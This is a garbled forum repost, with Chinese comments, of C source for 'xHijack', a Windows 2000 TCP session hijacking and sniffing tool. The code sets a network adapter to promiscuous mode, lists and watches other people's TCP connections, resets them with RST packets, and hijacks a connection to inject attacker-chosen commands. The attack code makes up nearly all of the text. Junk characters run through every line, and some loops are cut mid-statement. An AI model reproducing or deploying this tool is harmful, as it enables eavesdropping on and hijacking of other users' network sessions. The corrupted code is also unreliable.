  g_pCurrCtrlConn = NULL; 2 I8 S6 J/ {6 g, q( R5 f
  g_dwAction = ACTION_NONE;
/ B" ]# @  x; k3 q} 2 n: ?+ ~. w: o2 K

* L8 D3 u$ N" A3 ?//
% _  s" @% }* o; M! h+ M//功能:处理Ctrl+C和Ctrl+Break事件
/ S0 B8 r/ a4 h  w//
3 d( s3 c( H( w. L; f/ TBOOL WINAPI CtrlEvent(DWORD dwCtrlType)
' d: _6 C6 m0 Z4 \! o{
5 K0 M) g" N" [8 Y, o# k* |/ t  switch(dwCtrlType) 3 b9 G8 \+ \" e1 z. l% \
  {
' P; f% t& Q3 |, I3 N. T1 P    case CTRL_BREAK_EVENT:
* P% ~& Q% w+ E2 y; t9 o      //reset action all flag 4 u+ `# J1 G: q" k, b- l) Z" U8 L
      ResetActionAllFlag(); ( U, H+ y6 C8 T# m0 g
      break; 3 `7 ~" j7 j! }4 g4 M
    case CTRL_C_EVENT:
6 ^/ g+ [+ R& W/ _, i* M# O+ w      //terminate all thread / N# w2 k! t  M$ r0 ]0 k8 G
      TerminateThread(g_hThread[0], 0);
& r' b/ T# @/ b7 o! U7 V      TerminateThread(g_hThread[1], 0);
" C9 E0 O* J, L3 T      TerminateThread(g_hThread[2], 0); & Z& l! L" h+ h& i, n# A
      TerminateThread(g_hThread[3], 0); 5 f$ ^1 ^0 j% B* ]- q' p7 x
      break; ( A8 D) C6 A6 t, l
    default:   ]" Z+ M4 V0 m$ U  U
      break; # P4 I: B, M6 w- i6 ~6 e7 Q
  }
& q3 c7 @1 B5 n  B9 X+ m  return TRUE; 8 {! K- j+ {! L1 K! h  T
}
6 L+ j- L1 N' T4 B) x0 d
" J8 G6 e& W  n* R+ K// * P: j$ A# r& m; i& m; e7 X- B
//功能:处理用户输入 - ]: T; D$ Z  X
// , }# G8 {* C8 s' I
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos) 7 v! d7 f. K: V6 @, q
{
' q, f8 t8 a, s4 z. O! r7 V; y  DWORD  i;
4 @: R& \  p. l% ?' z. p  char  szBuff[16];
& C/ X& g$ E7 o( R
1 ^) t* N% f1 q8 \* F6 E7 m' j  *lpCommandPos = 0; 1 e, J" W3 p. U' q6 `' `% k
  for(i=0; i<15, i代码比较乱
: x: @% `" R! q& O1 y) x  a//
2 ]& R1 k$ a' Z5 g/ F2 R1 KDWORD WINAPI InterfaceThread(LPVOID lp) & l4 t0 o+ q9 E7 K* i& t9 {
{
" {) X6 ]! H3 w9 q: O. a, D  char  szHelp[] =  "l\t\t<-- List all connections\n" 4 D8 p+ r! t/ L
            "r x\t\t<-- Reset the number x connection\n"
4 W: h! U, w% s            "w x\t\t<-- Watch the number x connection\n"
% N, q' t  x" k. k            "h x command\t<-- Hijack the number x connection to execute command\n"
2 Z$ L7 O% D( P- u/ t            "[Note]\n" " r3 j7 x6 G- w' m
            "Ctrl+Break to clear all action\n"
* A, E3 ]/ k+ O            "Ctrl+C to exit\n";   \# a3 v4 w, C* t3 m2 a' M
  char  szPrompt[] = "\nxHijack>";
. ^0 U- m# t3 e* f0 F" F  char  szBuffer[128];
( I' ?' C! @+ L4 \  DWORD  dwPos;
" E/ @( Y& I* D+ {8 Z5 B% A  PCONNINFO  pTmp;
: x5 D* u* N' b/ Z
7 n; I; y! R& @: {  while(1) 3 k4 u+ f. n6 ?4 A  _0 A$ }
  { 0 L0 c9 Z; f( S9 a( W
    gets(szBuffer);//不考虑buffer overflow
) I2 ~  K/ ?& i) T    switch(szBuffer[0]) 7 m4 l$ O5 q+ @- a) R( s* _4 ?$ E+ t
    { ) T7 Q: U$ |7 q
      case 'l': . _" t6 G2 V: C2 A# _7 Z6 Y+ e+ G
      case 'L': , T. b$ L" C, [! ]- V$ ^; q
        ListAllConnection(); , J8 |) W& a2 A, |8 g
        break;
/ F; Y+ G$ X$ }* I, ^2 }9 k6 W- K      case 'r':
1 T. h+ r* ~" d; |0 Q, V! T      case 'R':
: m1 o( d, ?7 D0 h2 ?" N        if(strlen(szBuffer) >2) $ t. D# ~/ j' E. W+ _! x
        { ! r6 |2 Y$ q3 [' C4 M5 x
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
( ~7 G6 G8 R+ f          g_dwAction = ACTION_RESET; ( p  r4 m5 U' }* Z) k$ r8 m* Y5 a
        } ( m, o' ^; i. j4 Y( o
        else printf("%s", szHelp);
$ q  O$ c% [- _) m$ X  Z        break; 8 Y$ [* B& y" ^# P3 n% w. o
      case 'w': 0 r4 R1 F- U9 C3 s- \( b1 k% z
      case 'W':
6 j9 n) y5 p4 U4 M% Z6 t        if(strlen(szBuffer) > 2) 3 Q3 K2 ]8 w1 x
        { , X% H6 P# y8 Q4 a% ]5 |' e' C
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); - D) R$ X$ U) l* F) F
          g_dwAction = ACTION_WATCH; * Q3 |3 o0 ^% O* {
        }
, y; f: o% H$ A        else printf("%s", szHelp); 8 p9 b9 L( B1 s5 H9 e& f
        break; / ?2 c5 U/ `# \7 b1 o
      case 'h':   e% M; A5 K7 A3 }
      case 'H'://h 1 xxx
5 h8 L) g; Z& x! `; e" v        if(strlen(szBuffer) > 5) $ l. b4 |5 b( y& K. S' e
        {
) T! B2 k/ ^4 n) U8 F0 S( \2 x. m          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); + Z# b- t$ ^% N- A9 _
          //如果command第一个字符是'或" , X; b# U. E. ^
          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
4 Q1 @! e& p& Q# Y0 W# H/ Z          { * F  K% G3 c. e' W7 y& y& D1 u
            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
- v8 m! d) U2 O& {% v$ Q5 B            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
9 s+ M5 I+ O. d9 N; k5 J. t: s+ E( Y          } 2 z; l2 `' U6 v8 q0 V. D3 b
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3); ( z! J2 W! o' c
          strcat(g_szCommand, "\x0D\x0A"); * ~3 S3 V2 W) L6 f0 B7 X
          g_dwAction = ACTION_HIJACK;
7 v6 H+ |$ y4 C1 y        }
4 R1 P( }6 `: w; N8 t        else printf("%s", szHelp); 9 C6 B& Y7 s  N- i, ^( n2 ^, ~- J
        break; / S5 e7 y( F$ s2 ^" C, b( D# N" o
      default:
* K0 G6 C7 n( V; s) u0 z        printf("%s", szHelp); 9 W3 U+ H7 u' u% w: c! z; ~; C
        break;
6 ~7 N  m4 p" _% W% f( d    }//end of switch ; r4 V/ R7 `4 @$ |! t, J
    //find the specify ident's struct point
5 i9 L7 l6 l0 j4 _    if( (g_dwCtrlConn) && (g_dwAction) ) & X# `/ {5 j9 [3 |7 p; c/ O
    { + A+ f; U& v% J8 \7 Z! X9 v
      g_pCurrCtrlConn = NULL;
4 _! ~( G: m& }% c      pTmp = g_pConnHead;
% ^) ~7 V2 a" v1 \1 n- a      while(pTmp)
5 r' l) y! f; _% }1 ?7 Y      { # D) D4 u, {0 v! f7 U
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
9 g6 b  j# N2 h6 b( e4 @        { , A5 w6 y0 Q( [& t
          g_pCurrCtrlConn = pTmp;
) z+ y! I! B4 \; X+ u. o" o- d" g          break;
' T' c9 u* k/ v' ~) e        }
" j( i8 Y4 `5 X6 R0 S0 A8 h        pTmp = pTmp->Next; . \3 k4 l2 O; u* |) n
      }   |( `; A5 o0 d$ d4 v' s! i: A, f
      if(!g_pCurrCtrlConn)
/ u. U0 g0 y/ O      {
5 d! R! u/ U6 ~        printf("Can't find the number %d connection.\n", g_dwCtrlConn); ; N' L' H- E! T+ O: {2 ~  o) |
        //reset action all flag
; |- Z" c$ x# C        ResetActionAllFlag();      
: b8 |6 {+ H5 q7 i9 @. b      }
0 Q. f: y8 y; ]6 M" Y" y( ~" n    } 8 I' l% o" `8 g$ m. e3 x
    if(!g_dwCtrlConn) ResetActionAllFlag();
" M# W3 x8 p8 j5 @1 T, K1 Z, l    //显示当前用户所期望的动作
* ], [$ h( T( k  M    printf("\nCurrentAction:");
* [; H+ k5 T8 S$ p! ~    switch(g_dwAction) $ x( V' }: v' q+ [
    { 1 d8 V6 _: @& ?
      case ACTION_WATCH: , Q4 ^' y7 w: J2 `5 g
        printf("ACTION_WATCH"); ) H5 v9 [" x+ M
        break;
! E( S. F, i1 ^6 H, j; G: x4 g      case ACTION_RESET: 4 G* n- f3 I, i( Y
        printf("ACTION_RESET"); 6 f5 U4 ~, Z9 X
        break;
- Y& G7 \1 }. Z' b      case ACTION_HIJACK: 2 m" |; S6 C3 K" ~7 C1 R
        printf("ACTION_HIJACK"); ) r# H% G9 x2 E2 h+ r4 }( P
        break; 4 e2 p" p4 g# i
      default: 0 _( m$ n- Z" J. u1 \
        printf("ACTION_NONE");
8 T# G* B1 M; V5 z, I        break; $ e; J8 E8 a( D3 H5 R6 r
    }
3 P. c1 e/ Q4 s' |& p/ f    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
( _  X) P8 x2 U2 ~. w6 F4 m, Y  }//enf of while
$ f# b8 T8 y: p' s8 K& V  return 0;
/ Q2 S) ?, J0 b6 e6 p8 U3 ~; L}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// 1 R4 [- ~0 x" H; _# x//功能:列出当前所有连接 ) C! {0 [% I& m5 _/ d8 D// . ]( ?/ X& T2 x, w4 M9 R% R. e void ListAllConnection() \' s# i f- X& d# D# d { : J7 f% s7 L" |. D7 }1 V PCONNINFO pTmp; * I9 [- w) _) c3 @3 [ v9 l SOCKADDR_IN saDest, saSource; : r7 G7 R' v6 C1 m. C! u4 R pTmp = g_pConnHead; 7 `; n8 x! N0 ~2 o; V4 p while(pTmp) ; f' u2 I8 H# _9 n# s { ) Q* c$ P3 U' D if(pTmp->bActive) 8 k! l4 N9 ]2 ~" G# g: ?2 ? { ; _3 Y" E8 z! r3 E. B$ T saSource.sin_addr.s_addr = pTmp->dwServerIP; ) M$ ~9 y# k7 ?0 I) n saDest.sin_addr.s_addr = pTmp->dwClientIP; ( R9 B) d6 D# S& w4 l printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ) p" o8 W9 |) E9 ~5 c$ W" j ntohs(pTmp->uServerPort)); ( V% n, x- r& U/ _ printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); : {7 \& {5 f" u) g: F/ K: R } $ o! u2 D" ^ d5 w% A3 w pTmp = pTmp->Next; ' s3 U! T( g, s& }/ G0 Q- A! A } % M3 i* N2 g) I; I1 m+ L } * `( g: M" s9 I) L4 z+ ~ - T4 K' X. p3 B- G5 D7 q // ; G9 ~- `, l: n3 b* B //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 8 H# r% c0 N2 W+ v* k // ( y j ?# i: C I8 o# { LPADAPTER InitAdapter() ! O7 ` q L- F* J& R { : i) E E5 W6 Y5 J+ X LPADAPTER lpAdapter; & B$ m3 ?+ t+ r2 @9 |! [/ k# Q7 @% r static char AdapterList[Max_Num_Adapter][1024]; 0 B, `* m8 `: d+ j char szSelectAdapterName[512]; 7 T6 \" w9 n6 o1 U WCHAR AdapterName[2048]; 9 Q6 t- O0 P1 ?5 r# P; U m$ w WCHAR *temp,*temp1; 3 v& k) @; W( W% A( m$ _3 W: a6 { ULONG AdapterLength = 1024; , v7 \# a( |! K, o4 q int iAdapterNum = 0; + ]* T: P5 M9 u$ H int iRetCode, i; 6 n5 a* e+ R0 a8 V. i2 a int iAdapter = 0; # \4 Q. u; o4 Q* k) h ULONG ulLen = 0; 7 g+ L4 n# S% j" } DWORD dwRet; ' w7 M3 a! n0 Y% r PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; 6 R& e' K% ^* F+ N2 x PIP_ADDR_STRING pIPAddr; 2 H! X; O; a( \% c4 B K: q h- v) E1 N, m- b: a0 P //Get The list of Adapter ( M/ p- m/ I/ x3 E if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) + S& |( M, `. i& O' S9 P& @- P" b { & q$ K5 L c! i9 r; T6 X& e printf("Unable to retrieve the list of the adapters!\n"); 7 `% T+ U; K4 p) d% T" ] return 0; 9 ~5 X3 `5 s; n } ) k3 ~5 n7 C! F) }; f; d) B temp = temp1 = AdapterName; 0 g; y' x; W3 d/ E* ]# | i = 0; * \5 [, s1 J9 l. ] x* i8 [ while ((*temp != '\0')||(*(temp-1) != '\0')) 5 e" S" P; }3 Y { ) i. m9 ]9 z/ k4 K/ |2 K if (*temp == '\0') ! T6 D- y7 ]9 H1 j) s& a { ! s2 k( `: K: _7 t$ L) C memcpy(AdapterList,temp1,(temp-temp1)*2); ' H( q- @/ B: M9 l& p printf("%d - %S\n", i+1, AdapterList); - \- x& G& l% t$ z% J e/ G temp1=temp+1; # a: T/ s9 ]7 ?4 l5 ~. [, } }2 j i++; / O3 S( G0 P) T8 u } & K: N3 t9 y! a& M) U) o. \, y. Z* l temp++; 3 f& z# @2 J# _ } * X' b" m4 f) L //choose adapter / j6 q! q$ v6 O3 Z7 a3 n while((iAdapter <= 0) || (iAdapter > i)) % p2 O2 l. ^. N { 9 i$ e1 p& b/ [7 V3 D printf("\nPlease choose your Adapter:"); : e( L- g! U) ~; k- g. i scanf("%1d", &iAdapter); 0 G- ^3 |9 o8 S* V } ) y% N, y) ?( o4 C3 l printf("\n"); : {5 _2 G- a0 @* N5 e //---------------------------------------------// 5 }6 @# P! A; q! U* ~" K //这里调用iphlpapi来取得本地ip_addr和mac_addr $ r7 b1 _4 X+ L) k, x9 g sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); * C2 S# d, u7 N+ J: g3 K2 c" A4 n dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); + \: H6 M3 H4 p if(dwRet != ERROR_BUFFER_OVERFLOW) - k" ~# V, ?5 d2 G, Z$ ~ { , J' K5 h' Y0 n, Q2 ?/ I printf("GetAdapterInfo error:%d\n", GetLastError()); 7 y. r0 p; h" C# t: P! i8 K return 0; 1 \) R% F Y, [ } , w5 q6 R* A- I+ H' y pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); 1 a4 t2 T* C, V# B5 {+ n if(!pAdapterInfo) . ~' E& H9 m: M' x { 0 i( o; \/ m3 J- \( ]* S7 |3 B3 f printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); ( c9 D! w6 {) D+ g" Q) H4 q return 0; 2 J, R8 Z. L( h1 _ } # U3 \2 O" [( ~* M! r; i# T$ R dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); % I% G( s2 c5 D: V if(dwRet != ERROR_SUCCESS) 9 D9 r. X& D) R4 @$ P. _ { / R6 ?7 J. ?" p# s- ` printf("GetAdapterInfo error:%d\n", GetLastError()); ' Q& S! ~/ A3 j" ]6 u4 j$ z R7 C4 ~ return 0; " F, C1 x2 v+ t" }8 d1 f } 3 j% t& j" I% ?' p2 g! }' ?' d4 J1 F pTmp = pAdapterInfo; - g8 s6 I# u! I. E while(pTmp) / k2 ^( n+ _. Q { 8 ~+ F }) Z0 w; ~8 C0 R- K //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) & `, s ^' R. ^& g4 @" W/ G: O { ' C2 H$ A/ e2 c, J //found it,get own adapter mac address ; c, j; R' x6 F memcpy(g_szOwnMAC, pTmp->Address, 6); # q7 H8 {/ D% L% F k- k //get ip address ; Y2 Q5 Q* T7 x* ]: O {; n l8 B pIPAddr = &pTmp->IpAddressList; 3 {1 V8 V# t9 b* x+ R$ h while(pIPAddr) / ~! u' T) k& D { - m# a( U. j& m, d$ e g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); ! R8 [' n1 {+ B9 E Z5 m! X" w( @ pIPAddr = pIPAddr->Next; , l; K: ?2 D2 Y8 g if(g_TotalIP >= Max_Num_IPAddr) break; * e1 M) ]7 p9 x. y* W( K$ }# U7 m! |( { } $ ?$ @5 z' c/ x3 y: R# X2 z7 T8 H4 Z break; 3 c5 Z3 n7 H1 [( f. v6 X } . R5 n# `; F! m0 b) b& P1 W% |: r pTmp = pTmp->Next; ! n' i' I; l$ G, a# Y, i } / |6 W3 ^5 w, N: m free(pAdapterInfo); 7 U+ k$ g) W: Y P: @( u //not found,return zero 4 j8 j4 n1 s& c1 h$ b if( (!pTmp) || (!g_TotalIP) ) return 0; 2 K/ A; x$ t( k' J2 V: K5 ? //---------------------------------------------// % x: l1 m5 X2 ?/ j* z1 q. _ //open adapter ( P- Y) l( h# }, |5 F4 o lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); ! ~3 D Z5 H9 b: A if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) $ ^, }2 P! N; V { 6 k- h5 g" F. ^$ ?4 @2 e: [. Y Q iRetCode = GetLastError(); 6 n p1 F9 d! [) t8 D0 [: } printf("Unable to open the driver, Error Code : %lx\n", iRetCode); * I* r [# l G# @! a+ q9 x return 0; 2 w1 p- n" z( q- E6 `" a2 Y4 [ } & s% C* k( b" K9 ] // set the network adapter in promiscuous mod 6 Q8 }0 c; a+ G# v5 `0 O% v, a if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) / A) H m* \% x" Q1 m( b/ d { 8 k& g) s5 y1 }5 m. X printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); ) I; }5 {# l: Q* _8 N! l$ V* |5 F if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 9 n; g. @# @9 ]7 L* i { + f0 `9 C! f( w. N0 F4 g7 B printf("Unable to set ALL_LOCAL mode!\n"); " j; b% V' r2 F ]" y return 0; $ \9 I0 i4 V \0 e( A8 b } 2 T9 e2 f, f2 X7 m& U# O' r$ L; c- k } ( y5 K( ]- @ j // set a 512K buffer in the driver 3 @% a; M. ]: [ if(PacketSetBuff(lpAdapter, 512000) == FALSE) ; L* u' d# e7 e- G4 n: C { 5 u: I! B; _/ i% l6 ]4 @3 T( j printf("Unable to set the kernel buffer!\n"); % @3 D* O: M2 d9 V, w+ w return 0; 4 ]1 G3 Q+ U2 |9 S } ! a& j l: }2 p: T // set a 1 second read timeout ' [1 p8 h) D) e, l/ ^* A; `6 T5 C if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) % o, y! z. r& W printf("Warning: unable to set the read tiemout!\n"); 6 `5 i7 S ?# M2 N. n m+ _( v if(PacketSetNumWrites(lpAdapter, 1) == FALSE) ' R$ { ~7 c! j( q4 I printf("warning: Unable to send more than one packet in a single write!\n"); " S- l; e7 S( A# s/ ? //设置发送的packet 2 N9 i$ _) [9 r" v9 r g_lpSendPacket = PacketAllocatePacket(); # \ x& P! H! c/ i5 L/ f if(g_lpSendPacket == NULL) 7 y5 v7 ~* j% L1 a& l4 ^) v { B' P- B- |6 T printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); $ ?- `' f! @* R3 { B: ^ return 0; ) G$ {) k9 p V } - b( N+ O( A* q ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); ; ?+ l/ p* ~: i$ J/ c3 h! X/ I PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); 1 Y" w" ] G) v6 I return lpAdapter; 8 @) f5 D" I4 Z0 u0 V4 ~ } * c$ N' @9 k8 @. z1 l% Y ! y+ u; o/ { m5 n4 ^" B //功能:帮助信息 % `3 r2 x' U [) c2 M void usage() + Q# ^- e5 t# x% ~8 ?) O! ? { ; a1 b5 Z" X- k printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" . d; o0 \* H; ~8 q' v "By eyas 2002/8/19\n" ( r) [# `9 y5 N$ \0 Q) ~- e "http://www.ey4s.org\n" & i7 g! [3 `* g' d9 T9 v "Thanks to Refd0m and shotgun\n\n" ' s/ G; ]4 X7 W) v1 {2 K$ A "Usage: xHijack ServerSide ClientSide\n\n"); Z7 j5 A8 B0 D) {" v) b! L} 2 [6 N- d4 H, d* [) N8 x' \3 Z0 W1 \& d4 W // 9 @- f- z( O3 @2 G2 _ //功能:显示数据包的一些详细信息 2 D, | _0 C: r6 R k // 0 m/ X8 l* d& J# \) w1 B VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 8 W7 P9 a- w& p$ t9 n, _7 c{ 4 H( @/ Q D5 c4 @7 }- B; }+ K* c SOCKADDR_IN saDest, saSrc; 4 C$ s0 q) `; p' b' I8 g8 d, I unsigned char FlagMask; ! e3 q" F$ `0 w& L# I0 r+ G int i; 0 d a; [9 `1 @& L6 Y- v: i4 Y: p' U& \! R* ? saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; % ~ e; j, u* {. ~9 D. y7 T5 R saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; ( L$ m3 n" C- |! z printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); ) k% p! v' ^0 Y, `& ]' C printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), 2 P u; Z2 P1 Z) [ ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); 7 h) L! l; A7 C- E5 J# L //display TCP flag . |) A4 {: t% g for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) / g5 k8 q1 l# D R& A { * R0 W U9 H2 B3 {# Y1 E2 M if((pTCPPacket->tcphdr.th_flag) & FlagMask) 4 n& d/ B+ M7 X7 q9 `5 k; \ printf("%c", g_szTcpFlag); 2 d$ g4 E; U. X7 t- { else printf("-"); 3 l5 m: _3 T$ V5 E7 v$ X } / R9 E) ~3 ]' s: H printf("\n"); 8 Y. E( {' U3 s0 c" p( I //如有需要,可显示更多详细的信息 8 J$ S/ l; O, ~; w* w- d& z if(bDetail) ! O/ v7 Q/ l3 b printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ) u& F" C k4 i( O' x1 A} * ?' b8 |7 X3 m+ Y* v1 c( D 5 W: A$ a- j8 w6 i3 t9 @ // 9 k2 u3 A, L0 d# N5 Z8 R//功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 8 n" t7 ~* i4 o! c, L// 7 O* M# N1 I* K* cDWORD WINAPI AnalysePacketsThread(LPVOID lp) ! A& ^* M2 s) f# b{ - d. n3 j& L) Z, u! [) u. H0 d ULONG ulBytesReceived; B. m% F/ x9 Z3 I+ m* R. Q$ X* @6 M USHORT usDataLen; " \ ]+ p, w3 ?% Q1 z7 h9 _ //USHORT usIPHeadLen, usTCPHeadLen; + Z! c8 F: [4 w# | char *buf; 4 ]: r" }4 u3 U5 Y/ z4 s u_int off, i; % S m+ u3 F2 B0 { PTCPPACKET pTCPPacket; . H6 f- g" m. a# e2 Q struct bpf_hdr *hdr; % `4 b' A7 @' u( |/ @' f LPPACKET lpRecvPacket; $ |' d. |5 q" m9 N8 V, _2 m! J char szPacketBuf[256000], *pStr; $ }5 w6 u6 g: o5 ~/ n BOOL bDeleteNode, bAddNew; 2 v4 u9 X! C5 y) { DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 ! ?7 h& l1 y; V: [7 P BOOL bClientToServer;//数据包是否从客户端发送到服务器端 # N4 O t+ w( S$ Z , z" o9 `# {: x6 K //设置接收的packet + d- x s$ `9 @ lpRecvPacket = PacketAllocatePacket(); # F, w3 z, W6 r5 q/ C T! T if(lpRecvPacket == NULL) . ?% F# [ T0 ^9 ~ z. Q7 ~ { / C/ z7 ]- C$ r printf("Error:failed to allocate the LPPACKET structure for recv.\n"); 9 n3 K- s& F8 v# q return 0; ) E; s5 G# y7 N( y } ! O- { Q5 ^0 q0 j ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); : F" O- r c' o, h; L3 Y, R1 t' ~ PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 2 j8 P4 a/ u+ m while(1) 6 b: F! p0 S" ?, i+ Y% X { " `' ^/ P2 d- t( d' R& O6 X0 ^ O* a) b // capture the packets , s7 W; Q1 ], y: V if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) ) d" `4 T( }2 g' w9 U3 W z5 c5 X$ G { * |8 B4 j8 j, j* c printf("Error: PacketReceivePacket failed.\n"); 9 o( E) H" d5 T" a4 `3 C break; 5 @1 m( b" W& _% I } $ K* D: A- v$ S4 c h) X+ f ulBytesReceived = lpRecvPacket->ulBytesReceived; + b( r9 n! m1 Z) j buf = lpRecvPacket->Buffer; % Q7 s! w/ W s8 O& K9 }- i off = 0; # Y U) L1 o6 v, Y8 X% a while(off < ulBytesReceived) ) m, I" z& S2 H8 J { : f/ x* H8 k q. Z3 M P( h hdr = (struct bpf_hdr *)(buf + off); 7 t! l% i1 V$ N$ r/ P0 m$ v, B off += hdr->bh_hdrlen; ! j; {8 o% s& H& P$ m# z& D( D$ x pTCPPacket = (PTCPPACKET)(buf + off); . a. T# r/ M3 _ p7 r: l8 g8 a off = Packet_WORDALIGN(off + hdr->bh_caplen); F" y" p* J1 k; `4 b' m, {+ \ //不需要处理自己发出的包(转发或本机发送的) {1 s/ Z( F; y if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; + r0 A. b2 R7 o( t0 S' u# D //检查是否IP包 q6 p9 k" e+ z4 ~6 l% U! \ if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; - z+ L" O3 S G) e7 v% F //检查是否TCP包 ; ?0 m. d1 l. C& b$ e9 W if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; : ]2 L" H# F4 m //也不处理DestIP是自己的包 ) l; Q# v% F, V( o( e5 J% L for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); 9 f& q; O7 l; n
            //reset action flag ) `- Y( T/ c  G
            ResetActionAllFlag(); / ~5 `1 \: A5 ]1 C; V! K3 k+ h9 K
          }
3 H9 {$ @7 e/ o3 y9 ~. Q          //start hijack 2 z+ f# h) m; o  U( A6 o. O
          else if(g_dwAction == ACTION_HIJACK) % r" g2 w% B5 E, c7 j( F7 j9 d! s
          {
. v* |! P# s8 d* \6 T# K3 l6 ^% l* B            //send rst packet to client 8 d0 M$ Q3 x) B
            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); ' N5 Z: M8 ]1 Q. _$ ?
            //send hijack packet to client
' h! E0 U2 z! R' c' \2 ?0 Y+ D- T            SendHiJackPacket(pTCPPacket); % E' W4 b( O, q+ Z* V
            //reset action flag 3 K3 x7 ?, r! Q" S3 r  Y- G2 g
            ResetActionAllFlag();
: h7 H* v  i+ D9 k          }
! z: i6 D1 C1 |0 X0 R6 _. H7 E, ^' r        } , v. w# i/ K1 f1 H: S, r
        //show the tcp data
# s9 Z9 Q8 a( }- U! B# R/ W        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) / S+ r! l1 t8 k' {( x
        {
! A* z6 N# V% x. c          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); ' T" O( v' Z3 F, V
          //暂不考虑IP、TCP头不是20字节的情况
1 f5 y) o8 \0 o$ n          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
& z8 k: P8 k- ]: {& ?0 F  |( S7 ]          pStr = (char *)pTCPPacket + 54; 0 K2 }$ Y8 n4 X1 p6 G; N' f8 s' t" v
          for(i=0; i        } ' j4 }4 E- S9 N9 H% j
      }
$ {$ {# T4 S1 V      //debug output ! ]) T5 s1 O4 S3 |/ a
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
0 o. ~& {' |* _  q    }//end of analyse packets while
4 ^0 v, n$ L. W. f  }//end of recv packets while 5 X% W* H; C' w, z/ D$ v, m3 Y( d
  PacketFreePacket(lpRecvPacket); 9 R5 j# @4 v' s2 |* e, @
  return 0; ( ~. G$ ]- g, A& j4 Q
} # |7 P. S) ?" u8 J5 R! Y

3 A2 U& I3 A$ ^9 A0 g* E( {+ ]3 o! n, y- D
// ) y/ Y  U& l7 G; M* E* Z( T! |
//功能:操作记录所有连接信息的单向链表 9 ]6 ~& F' e+ n% s9 R- C, `
//
, Z9 P1 W: T2 j/ FDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
1 d' I5 _3 H, T            USHORT uClientPort, BOOL bDelete, BOOL bAddNew) & F( E8 T- d. K
{ : Q/ A2 H* F: S1 H: V1 f9 `
  PCONNINFO  pNew, pTmp; ( W9 X& e( b. K3 o5 o  M
% P, B* @1 ]1 d3 W# E5 h- |
  pTmp = g_pConnHead;
" h! Q- D& B( x& L  L! N  while(pTmp)
% K& h2 A% @8 R# |! K' Y! g# r( R- @  { ' ^5 y* x  |4 X, b( r, B; i$ a
